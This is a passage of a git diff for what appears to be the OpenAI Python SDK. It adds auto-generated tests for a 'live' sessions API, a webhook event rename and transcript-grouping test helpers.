Sent when an incoming API SIP session is available for Realtime acceptance.
- The same pending session can also emit `live.call.incoming`; the first
+ The same pending session can also emit `live.transport.incoming`; the first
successful Realtime or Live accept endpoint selects the runtime surface.
"""
diff --git a/src/openai/types/webhooks/unwrap_webhook_event.py b/src/openai/types/webhooks/unwrap_webhook_event.py
index 56e49b8de9..bff30832fe 100644
--- a/src/openai/types/webhooks/unwrap_webhook_event.py
+++ b/src/openai/types/webhooks/unwrap_webhook_event.py
@@ -12,13 +12,14 @@
from .response_failed_webhook_event import ResponseFailedWebhookEvent
from .eval_run_canceled_webhook_event import EvalRunCanceledWebhookEvent
from .eval_run_succeeded_webhook_event import EvalRunSucceededWebhookEvent
-from .live_call_incoming_webhook_event import LiveCallIncomingWebhookEvent
+from .live_call_incoming_webhook_event import LiveCallIncomingWebhookEvent # pyright: ignore[reportDeprecated]
from .response_cancelled_webhook_event import ResponseCancelledWebhookEvent
from .response_completed_webhook_event import ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent
from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent
+from .live_transport_incoming_webhook_event import LiveTransportIncomingWebhookEvent
from .safety_org_alert_created_webhook_event import SafetyOrgAlertCreatedWebhookEvent
from .fine_tuning_job_cancelled_webhook_event import FineTuningJobCancelledWebhookEvent
from .fine_tuning_job_succeeded_webhook_event import FineTuningJobSucceededWebhookEvent
@@ -37,7 +38,8 @@
FineTuningJobCancelledWebhookEvent,
FineTuningJobFailedWebhookEvent,
FineTuningJobSucceededWebhookEvent,
- LiveCallIncomingWebhookEvent,
+ LiveCallIncomingWebhookEvent, # pyright: ignore[reportDeprecated] # Preserve legacy payload parsing.
+ LiveTransportIncomingWebhookEvent,
RealtimeCallIncomingWebhookEvent,
ResponseCancelledWebhookEvent,
ResponseCompletedWebhookEvent,
diff --git a/tests/api_resources/live/__init__.py b/tests/api_resources/live/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/live/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/live/test_forks.py b/tests/api_resources/live/test_forks.py
new file mode 100644
index 0000000000..ffc1ed5a79
--- /dev/null
+++ b/tests/api_resources/live/test_forks.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+
+import pytest
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestForks:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+
+class TestAsyncForks:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
diff --git a/tests/api_resources/live/test_sessions.py b/tests/api_resources/live/test_sessions.py
new file mode 100644
index 0000000000..fa914eccf5
--- /dev/null
+++ b/tests/api_resources/live/test_sessions.py
@@ -0,0 +1,735 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import httpx2
+import pytest
+
+import openai._legacy_response as _legacy_response
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
+from openai.types.live import (
+ SessionForkResponse,
+)
+
+# pyright: reportDeprecated=false
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestSessions:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_accept(self, client: OpenAI) -> None:
+ session = client.live.sessions.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+ assert session is None
+
+ @parametrize
+ def test_method_accept_with_all_params(self, client: OpenAI) -> None:
+ session = client.live.sessions.accept(
+ session_id="session_id",
+ session={
+ "model": "x",
+ "type": "live",
+ "audio": {"output": {"voice": "alloy"}},
+ "delegation": {"type": "client"},
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "developer",
+ "id": "id",
+ "status": "incomplete",
+ "type": "message",
+ }
+ ],
+ "instructions": "instructions",
+ "store": True,
+ },
+ )
+ assert session is None
+
+ @parametrize
+ def test_raw_response_accept(self, client: OpenAI) -> None:
+ response = client.live.sessions.with_raw_response.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ def test_streaming_response_accept(self, client: OpenAI) -> None:
+ with client.live.sessions.with_streaming_response.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_accept(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.accept(
+ session_id="",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_download_recording(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ session = client.live.sessions.download_recording(
+ "live_SQ",
+ )
+ assert isinstance(session, _legacy_response.HttpxBinaryResponseContent)
+ assert session.json() == {"foo": "bar"}
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_download_recording(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+
+ response = client.live.sessions.with_raw_response.download_recording(
+ "live_SQ",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(_legacy_response.HttpxBinaryResponseContent, session, path=["response"])
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_download_recording(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ with client.live.sessions.with_streaming_response.download_recording(
+ "live_SQ",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(bytes, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ def test_path_params_download_recording(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.download_recording(
+ "",
+ )
+
+ @parametrize
+ def test_method_fork(self, client: OpenAI) -> None:
+ session = client.live.sessions.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ def test_method_fork_with_all_params(self, client: OpenAI) -> None:
+ session = client.live.sessions.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ session={
+ "client": {
+ "data_channel": {
+ "allowed_client_events": "all",
+ "allowed_server_events": "all",
+ }
+ },
+ "delegation": {
+ "type": "responses",
+ "responses": {
+ "instructions": "instructions",
+ "max_output_tokens": 16,
+ "model": "model",
+ "parallel_tool_calls": True,
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {"verbosity": "low"},
+ "tool_choice": "auto",
+ "tools": [
+ {
+ "name": "name",
+ "type": "function",
+ "description": "description",
+ "parameters": {"foo": "bar"},
+ "strict": True,
+ }
+ ],
+ },
+ },
+ "store": True,
+ },
+ )
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ def test_raw_response_fork(self, client: OpenAI) -> None:
+ response = client.live.sessions.with_raw_response.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_fork(self, client: OpenAI) -> None:
+ with client.live.sessions.with_streaming_response.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_fork(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.fork(
+ session_id="",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ @parametrize
+ def test_method_hangup(self, client: OpenAI) -> None:
+ session = client.live.sessions.hangup(
+ "session_id",
+ )
+ assert session is None
+
+ @parametrize
+ def test_raw_response_hangup(self, client: OpenAI) -> None:
+ response = client.live.sessions.with_raw_response.hangup(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ def test_streaming_response_hangup(self, client: OpenAI) -> None:
+ with client.live.sessions.with_streaming_response.hangup(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_hangup(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.hangup(
+ "",
+ )
+
+ @parametrize
+ def test_method_refer(self, client: OpenAI) -> None:
+ session = client.live.sessions.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ )
+ assert session is None
+
+ @parametrize
+ def test_raw_response_refer(self, client: OpenAI) -> None:
+ response = client.live.sessions.with_raw_response.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ def test_streaming_response_refer(self, client: OpenAI) -> None:
+ with client.live.sessions.with_streaming_response.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_refer(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.refer(
+ session_id="",
+ target_uri="tel:+14155550123",
+ )
+
+ @parametrize
+ def test_method_reject(self, client: OpenAI) -> None:
+ session = client.live.sessions.reject(
+ session_id="session_id",
+ status_code=486,
+ )
+ assert session is None
+
+ @parametrize
+ def test_raw_response_reject(self, client: OpenAI) -> None:
+ response = client.live.sessions.with_raw_response.reject(
+ session_id="session_id",
+ status_code=486,
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ def test_streaming_response_reject(self, client: OpenAI) -> None:
+ with client.live.sessions.with_streaming_response.reject(
+ session_id="session_id",
+ status_code=486,
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_reject(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.live.sessions.with_raw_response.reject(
+ session_id="",
+ status_code=486,
+ )
+
+
+class TestAsyncSessions:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_accept(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+ assert session is None
+
+ @parametrize
+ async def test_method_accept_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.accept(
+ session_id="session_id",
+ session={
+ "model": "x",
+ "type": "live",
+ "audio": {"output": {"voice": "alloy"}},
+ "delegation": {"type": "client"},
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "developer",
+ "id": "id",
+ "status": "incomplete",
+ "type": "message",
+ }
+ ],
+ "instructions": "instructions",
+ "store": True,
+ },
+ )
+ assert session is None
+
+ @parametrize
+ async def test_raw_response_accept(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.sessions.with_raw_response.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ async def test_streaming_response_accept(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.sessions.with_streaming_response.accept(
+ session_id="session_id",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_accept(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.accept(
+ session_id="",
+ session={
+ "model": "gpt-live-1",
+ "type": "live",
+ },
+ )
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_download_recording(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ session = await async_client.live.sessions.download_recording(
+ "live_SQ",
+ )
+ assert isinstance(session, _legacy_response.HttpxBinaryResponseContent)
+ assert session.json() == {"foo": "bar"}
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_download_recording(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+
+ response = await async_client.live.sessions.with_raw_response.download_recording(
+ "live_SQ",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(_legacy_response.HttpxBinaryResponseContent, session, path=["response"])
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_download_recording(
+ self, async_client: AsyncOpenAI, respx2_mock: MockRouter
+ ) -> None:
+ respx2_mock.get("/live/sessions/live_SQ/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ async with async_client.live.sessions.with_streaming_response.download_recording(
+ "live_SQ",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(bytes, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_path_params_download_recording(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.download_recording(
+ "",
+ )
+
+ @parametrize
+ async def test_method_fork(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ async def test_method_fork_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ session={
+ "client": {
+ "data_channel": {
+ "allowed_client_events": "all",
+ "allowed_server_events": "all",
+ }
+ },
+ "delegation": {
+ "type": "responses",
+ "responses": {
+ "instructions": "instructions",
+ "max_output_tokens": 16,
+ "model": "model",
+ "parallel_tool_calls": True,
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {"verbosity": "low"},
+ "tool_choice": "auto",
+ "tools": [
+ {
+ "name": "name",
+ "type": "function",
+ "description": "description",
+ "parameters": {"foo": "bar"},
+ "strict": True,
+ }
+ ],
+ },
+ },
+ "store": True,
+ },
+ )
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_fork(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.sessions.with_raw_response.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_fork(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.sessions.with_streaming_response.fork(
+ session_id="session_id",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(SessionForkResponse, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_fork(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.fork(
+ session_id="",
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ @parametrize
+ async def test_method_hangup(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.hangup(
+ "session_id",
+ )
+ assert session is None
+
+ @parametrize
+ async def test_raw_response_hangup(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.sessions.with_raw_response.hangup(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ async def test_streaming_response_hangup(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.sessions.with_streaming_response.hangup(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_hangup(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.hangup(
+ "",
+ )
+
+ @parametrize
+ async def test_method_refer(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ )
+ assert session is None
+
+ @parametrize
+ async def test_raw_response_refer(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.sessions.with_raw_response.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ async def test_streaming_response_refer(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.sessions.with_streaming_response.refer(
+ session_id="session_id",
+ target_uri="tel:+14155550123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_refer(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.refer(
+ session_id="",
+ target_uri="tel:+14155550123",
+ )
+
+ @parametrize
+ async def test_method_reject(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.live.sessions.reject(
+ session_id="session_id",
+ status_code=486,
+ )
+ assert session is None
+
+ @parametrize
+ async def test_raw_response_reject(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.sessions.with_raw_response.reject(
+ session_id="session_id",
+ status_code=486,
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert session is None
+
+ @parametrize
+ async def test_streaming_response_reject(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.sessions.with_streaming_response.reject(
+ session_id="session_id",
+ status_code=486,
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert session is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_reject(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.live.sessions.with_raw_response.reject(
+ session_id="",
+ status_code=486,
+ )
diff --git a/tests/api_resources/live/test_sideband.py b/tests/api_resources/live/test_sideband.py
new file mode 100644
index 0000000000..d1f86fa65b
--- /dev/null
+++ b/tests/api_resources/live/test_sideband.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+
+import pytest
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestSideband:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+
+class TestAsyncSideband:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
diff --git a/tests/api_resources/test_live.py b/tests/api_resources/test_live.py
new file mode 100644
index 0000000000..d516cf6673
--- /dev/null
+++ b/tests/api_resources/test_live.py
@@ -0,0 +1,184 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.types.live import LiveCreateResponse
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestLive:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ live = client.live.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ live = client.live.create(
+ session={
+ "model": "x",
+ "audio": {"output": {"voice": "alloy"}},
+ "client": {
+ "data_channel": {
+ "allowed_client_events": "all",
+ "allowed_server_events": "all",
+ }
+ },
+ "delegation": {"type": "client"},
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "developer",
+ "id": "id",
+ "status": "incomplete",
+ "type": "message",
+ }
+ ],
+ "instructions": "instructions",
+ "store": True,
+ },
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.live.with_raw_response.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ live = response.parse()
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.live.with_streaming_response.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ live = response.parse()
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+
+class TestAsyncLive:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ live = await async_client.live.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ live = await async_client.live.create(
+ session={
+ "model": "x",
+ "audio": {"output": {"voice": "alloy"}},
+ "client": {
+ "data_channel": {
+ "allowed_client_events": "all",
+ "allowed_server_events": "all",
+ }
+ },
+ "delegation": {"type": "client"},
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "developer",
+ "id": "id",
+ "status": "incomplete",
+ "type": "message",
+ }
+ ],
+ "instructions": "instructions",
+ "store": True,
+ },
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.live.with_raw_response.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ live = response.parse()
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.live.with_streaming_response.create(
+ session={"model": "gpt-live-1"},
+ transport={
+ "sdp": "x",
+ "type": "webrtc",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ live = await response.parse()
+ assert_matches_type(LiveCreateResponse, live, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
diff --git a/tests/lib/live/__init__.py b/tests/lib/live/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/tests/lib/live/helpers.py b/tests/lib/live/helpers.py
new file mode 100644
index 0000000000..a6f16fb83c
--- /dev/null
+++ b/tests/lib/live/helpers.py
@@ -0,0 +1,145 @@
+from __future__ import annotations
+
+import inspect
+from typing import Any, Callable, Sequence, cast
+from dataclasses import dataclass
+from typing_extensions import override
+
+from openai._models import construct_type_unchecked
+from openai.lib.live import TranscriptGrouper, TranscriptSegment, AsyncTranscriptGrouper, TranscriptSegmentClosedEvent
+from openai.types.live import ServerEvent
+
+
+def event(data: dict[str, Any]) -> ServerEvent:
+ # Exercise the same unchecked construction used by the generated transport.
+ return cast(ServerEvent, construct_type_unchecked(value=data, type_=cast(Any, ServerEvent)))
+
+
+def text(
+ value: str = "Hello", *, start: int = 0, end: int = 200, item_id: str = "item_0", speaker: str = "assistant"
+) -> ServerEvent:
+ direction = "input" if speaker == "user" else "output"
+ return event(
+ {
+ "type": f"session.{direction}_transcript.delta",
+ "start_ms": start,
+ "end_ms": end,
+ "event_id": item_id,
+ "delta": value,
+ }
+ )
+
+
+@dataclass
+class FakeTimer:
+ due: float
+ callback: Callable[[], None]
+ cancelled: bool = False
+ fired: bool = False
+
+ def cancel(self) -> None:
+ self.cancelled = True
+
+
+class FakeClock:
+ def __init__(self) -> None:
+ self.now = 0.0
+ self.timers: list[FakeTimer] = []
+
+ def call_later(self, delay_ms: int, callback: Callable[[], None]) -> FakeTimer:
+ timer = FakeTimer(self.now + delay_ms, callback)
+ self.timers.append(timer)
+ return timer
+
+ @property
+ def pending(self) -> list[FakeTimer]:
+ return [timer for timer in self.timers if not timer.cancelled and not timer.fired]
+
+ def next_before(self, target: float) -> FakeTimer | None:
+ timers = sorted((timer for timer in self.pending if timer.due <= target), key=lambda timer: timer.due)
+ return timers[0] if timers else None
+
+ async def advance(self, delta: float, grouper: TranscriptGrouper | AsyncTranscriptGrouper) -> None:
+ target = self.now + delta
+ count = 0
+ while (timer := self.next_before(target)) is not None:
+ count += 1
+ assert count < 10000, "non-progressing timer"
+ self.now = timer.due
